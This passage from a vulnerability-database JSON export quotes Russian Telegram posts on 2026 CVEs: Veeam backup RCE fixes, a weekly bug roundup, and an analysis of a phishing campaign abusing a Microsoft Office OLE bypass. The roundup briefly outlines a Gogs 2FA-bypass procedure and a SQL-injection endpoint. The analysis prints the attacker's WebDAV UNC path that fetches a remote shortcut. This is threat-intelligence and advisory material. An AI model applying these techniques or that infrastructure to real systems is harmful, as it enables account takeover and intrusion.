"97478656-cd21-4864-9837-51b118aba1a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21666", "type": "exploited", "source": "https://t.me/true_secator/7993", "content": "Veeam Software \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 RCE.\n\nVeeam Backup & Replication - \u044d\u0442\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u041f\u041e \u0434\u043b\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0418\u0422-\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043a\u043e\u043f\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u0438 \u0441\u0431\u043e\u0435\u0432 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u0422\u0440\u0438 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2026-21666, CVE-2026-21667 \u0438 CVE-2026-21669) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0430\u0442\u0430\u043a \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\n\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f CVE-2026-21708 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 Backup Viewer \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f postgres.\n\nVeeam \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f EoP \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 Veeam Backup & Replication \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Windows, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 SSH \u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c\u0438 \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u0432 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u043a\u043e\u043f\u0438\u0439.\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u0445\u043e\u0434\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0447\u0435\u0440\u0435\u0437 HackerOne. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Veeam Backup & Replication 12.3.2.4465 \u0438 13.0.1.2067.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Veeam \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u041f\u041e \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0432\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e VBR \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u0435\u043d \u0441\u0440\u0435\u0434\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0443\u0441\u043b\u0443\u0433, \u0441\u0440\u0435\u0434\u043d\u0438\u0445 \u0438 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439. \u0418 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d \u0441\u0440\u0435\u0434\u0438 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u044f, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0441\u043b\u0443\u0436\u0438\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0434\u043b\u044f \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439, \u0443\u043f\u0440\u043e\u0449\u0430\u0435\u0442 \u043a\u0440\u0430\u0436\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u0435\u0433\u043a\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u043a\u043e\u043f\u0438\u0438.\n\n\u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0432 VBR \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0431\u0430\u043d\u0434\u0430\u043c\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Conti, BlackBasta \u0438 Cuba. \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 2024 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b Frag \u0443\u043c\u0435\u043b\u043e \u043f\u0440\u0435\u043f\u0430\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 RCE \u0432 VBR, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u00a0\u0432 \u0430\u0442\u0430\u043a\u0430\u0445 Akira \u0438 Fog,\u00a0\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u0437\u0436\u0435 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430.\n\n\u0418 \u043d\u0435 \u0443\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0432\u0435\u0434\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u0435\u0439 Veeam \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 550 000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 74% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 Global 2000 \u0438 82% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 Fortune 500. \u0422\u0430\u043a \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u043d\u043e\u0432\u043e\u0439 \u043f\u0430\u0440\u0442\u0438\u0435\u0439 CVE.", "creation_timestamp": "2026-03-13T16:26:50.000000Z"}, {"uuid": "9adc4c7d-372e-4a8b-b0a3-8006c73de7c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "published-proof-of-concept", "source": "https://t.me/poxek/5896", "content": "\u041b\u043e\u0432\u0438\u0442\u0435 \u0432\u043a\u0443\u0441\u043d\u044b\u0435 \u0431\u0430\u0433\u0438 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \n#Microsoft #Gods #OpenSTAManager #Signal #CVE #RCE\n\n\u27a1\ufe0f SDK Microsoft Semantic Kernel (CVE-2026-25592, CVSS 10.0) \u2014 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 SessionsPythonPlugin \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f arbitrary file write \u0447\u0435\u0440\u0435\u0437 path traversal. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043c\u043e\u0436\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u27a1\ufe0f Gogs (CVE-2025-64175, CVSS 7.7) \u2014 self-hosted Git-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 Gogs (\u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0441 2FA) \u0441\u043b\u043e\u043c\u0430\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 recovery-\u043a\u043e\u0434\u0430 \u0432 UseRecoveryCode. \u041a\u043e\u0434 \u0438\u0449\u0435\u0442\u0441\u044f \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e \u043f\u043e \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u043a \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443. \u0417\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0436\u0435\u0440\u0442\u0432\u044b, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0432\u043e\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 recovery-\u043a\u043e\u0434, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 2FA \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0447\u0443\u0436\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443. PoC \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u0435\u043d: \u0441\u043e\u0437\u0434\u0430\u0435\u0448\u044c \u0441\u0432\u043e\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u2192 \u0431\u0435\u0440\u0435\u0448\u044c \u043a\u043e\u0434 \u2192 \u043b\u043e\u0433\u0438\u043d\u0438\u0448\u044c\u0441\u044f \u043f\u043e\u0434 \u0436\u0435\u0440\u0442\u0432\u043e\u0439.\n\n\u27a1\ufe0f OpenSTAManager (CVE-2026-24417, CVSS 8.7) \u2014 time-based blind SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u043e\u0438\u0441\u043a\u0435 /ajax_search.php, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 term GET. \u0412\u0432\u043e\u0434 \u0432 LIKE-\u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445 \u043d\u0435 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u043e 10+ \u043c\u043e\u0434\u0443\u043b\u044f\u043c (\u0410\u0440\u0442\u0438\u043a\u0443\u043b\u044b, \u0417\u0430\u043a\u0430\u0437\u044b, \u0424\u0430\u043a\u0442\u0443\u0440\u044b, \u041a\u043e\u043d\u0442\u0440\u0430\u0433\u0435\u043d\u0442\u044b \u0438 \u0434\u0440.). \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0442\u044f\u0433\u0438\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 SLEEP() \u0441 \u0430\u043c\u043f\u043b\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0438 (\u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u043e \u043c\u043e\u0434\u0443\u043b\u044f\u043c \u2014 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0430 \u00d785), \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f DoS \u0438 \u0443\u0442\u0435\u0447\u043a\u0438 \u0445\u044d\u0448\u0435\u0439 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u0415\u0441\u0442\u044c PoC.\n\n\u27a1\ufe0f Signal (CVE-2026-23515, CVSS 9.9) \u2014 OS command injection \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u043b\u0435 navigation.datetime \u0432 WebSocket delta-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445. \u0412\u0432\u043e\u0434 \u0438\u043d\u0442\u0435\u0440\u043f\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 sh -c \"command\" \u0431\u0435\u0437 \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0415\u0441\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u2014 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u0430\u0433\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u041f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044e \u0434\u043e root \u043f\u0440\u0438 \u043f\u043b\u043e\u0445\u043e\u0439 sudo-\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438. \u0415\u0441\u0442\u044c PoC.\n\n\u27a1\ufe0f Microsoft Office (CVE-2026-21509, CVSS 7.8) \u2014 \u043e\u0431\u0445\u043e\u0434 OLE-\u0437\u0430\u0449\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 reliance on untrusted inputs. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043e\u0437\u0434\u0430\u0435\u0442 weaponized RTF/Word-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0447\u0435\u0440\u0435\u0437 WebDAV + COM hijacking \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 malware. \u041e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE. \u0410\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f APT28 \u0432 targeted-\u0430\u0442\u0430\u043a\u0430\u0445. \u0415\u0441\u0442\u044c educational PoC \u0438 \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0441\u044d\u043c\u043f\u043b\u043e\u0432 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\ud83c\udf1a @poxek | \ud83d\udcf2 MAX |\ud83c\udf1a \u0411\u043b\u043e\u0433 | \ud83d\udcfa YT | \ud83d\udcfa RT | \ud83d\udcfa VK", "creation_timestamp": "2026-02-09T10:31:54.000000Z"}, {"uuid": "5a7ff83a-e59c-4172-b488-87ecaccb99b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "published-proof-of-concept", "source": "https://t.me/ptescalator/651", "content": "\u041f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432 \u043e\u0444\u0438\u0441 \u0447\u0435\u0440\u0435\u0437 Office \ud83d\udc68\u200d\ud83d\udcbb\n\n\u0413\u0440\u0443\u043f\u043f\u0430 \u043a\u0438\u0431\u0435\u0440\u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 PT ESC \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u0435\u0440\u0432\u0443\u044e \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c CVE-2026-21509, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 RTF-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b, \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0434 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0443 (\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b 1\u20132).\n\n\u0412\u043d\u0443\u0442\u0440\u0438 RTF-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0432\u0441\u0442\u0440\u043e\u0435\u043d OLE-\u043e\u0431\u044a\u0435\u043a\u0442 \u0441 CLSID EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B (Shell.Explorer.1). \u0414\u0430\u043d\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u044b \u0432 OLE-\u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435; \u0432 \u0441\u0442\u0440\u0438\u043c\u0435 CONTENTS \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 .lnk-\u044f\u0440\u043b\u044b\u043a, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0441\u0443\u0440\u0441 (\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442 3):\n\n\\\\rostransnadzor.digital@SSL\\svn\\58\\\u0410\u041a\u0422 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430.lnk\n\n\u0421\u0443\u0444\u0444\u0438\u043a\u0441 @SSL \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442 WebDAV-\u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440 Windows (\u0441\u043b\u0443\u0436\u0431\u0443 WebClient), \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044f \u043e\u0431\u044b\u0447\u043d\u043e\u0435 UNC-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0432 HTTPS-\u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u0432\u043d\u0435\u0448\u043d\u0435\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443.\n\nCVE-2026-21509 \u0437\u0434\u0435\u0441\u044c \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0445 \u0437\u0430\u0449\u0438\u0442 Microsoft Office \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 OLE-\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c COM-\u043e\u0431\u044a\u0435\u043a\u0442 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 .lnk \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 